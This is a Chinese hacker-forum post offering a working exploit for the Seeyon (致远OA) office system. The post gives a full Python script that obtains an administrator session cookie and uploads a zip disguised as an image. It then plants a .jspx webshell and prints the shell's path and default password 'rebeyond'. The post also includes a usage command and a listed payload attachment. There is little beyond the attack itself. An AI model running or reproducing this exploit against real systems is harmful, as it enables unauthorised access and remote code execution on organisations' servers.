黑客仓库

最全面知识的黑客论坛,全网最强大的漏洞数据聚合仓库丨黑客网站丨黑客论坛丨暗网丨红队武器库丨渗透测试丨POC/0day/Nday/1day丨网络安全丨黑客攻击丨服务器安全防御丨渗透测试入门丨网络技术交流丨蓝队丨护网丨红队丨欢迎来到黑客仓库,您可以在我们的论坛板块进行交流和学习。

立即注册账号!
Shacker

致远OA Session-任意文件上传 包含EXP

Shacker已验证会员

黑客倉庫站長

贡献: 21%
注册
09 10, 2024
消息
186
## 漏洞概述 致远OA通过发送特殊请求获取session,通过文件上传接口上传压缩包解压后可Getshell。

## 影响范围

```http
A8+
```

## POC

大宝剑可批量扫描此漏洞,有误报性,配合EXP验证

## EXP

```bash
#脚本在此目录下
python session-rce.py http://192.168.1.100
```

```http
Shell地址:/seeyon/common/designer/pageLayout/a234.jspx
默认密码:rebeyond
```

JavaScript:
# coding: utf-8
import requests
import re
import time
import sys

#proxy = {'http': 'socks5://x.x.x:35601','https': 'socks5://x.x.x:35601'}


def seeyon_new_rce(targeturl):
    orgurl = targeturl

    # 通过请求直接获取管理员权限cookie
    targeturl = orgurl + '/seeyon/thirdpartyController.do'
    post={"method":"access","enc":"TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4","clientPath":"127.0.0.1"}
    response = requests.post(url=targeturl,data=post, timeout=15,verify=False)
    rsp = ""
    if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():
        cookies = response.cookies
        cookies = requests.utils.dict_from_cookiejar(cookies)
        # 上传压缩文件
        aaa=cookies['JSESSIONID']
        print("获取Cookie成功:"+aaa+'\n')
        targeturl = orgurl + '/seeyon/fileUpload.do?method=processUpload'
        files = [('file1', ('113.png', open('1.zip', 'rb'), 'image/png'))]
        headers = {'Cookie':"JSESSIONID=%s"%aaa}
        data = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver':"false", "type": '0',
                'isEncrypt': "0"}
        response = requests.post(url=targeturl,files=files,data=data, headers=headers,timeout=15,verify=False)
        if response.text:
            reg = re.findall('fileurls=fileurls\+","\+\'(.+)\'',response.text,re.I)
            print(reg)
            if len(reg)==0:
                exit("上传失败,无法GetShell")
            fileid=reg[0]
            targeturl = orgurl + '/seeyon/ajax.do'
            datestr = time.strftime('%Y-%m-%d')
            post = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + datestr + '%22%2C%22' + fileid + '%22%5D'

            headers['Content-Type']="application/x-www-form-urlencoded"
            response = requests.post(targeturl, data=post,headers=headers,timeout=15,verify=False)
            if "details" in response.text and "Error" in response.text:
                shell=url+'/seeyon/common/designer/pageLayout/a234.jspx'
                print(response.text+'\t目标返回如上内容\n\nShell地址: '+shell)
            else:
                print("匹配失败,无法GetShell")
    else:
        print("获取Cookie失败")
if __name__=='__main__':
    try:
        url = sys.argv[1]
        seeyon_new_rce(url)
    except Exception as ex:
        print(str(ex))
 

附件

  • 1.zip
    1.zip
    810 字节 · 查看: 32
后退
顶部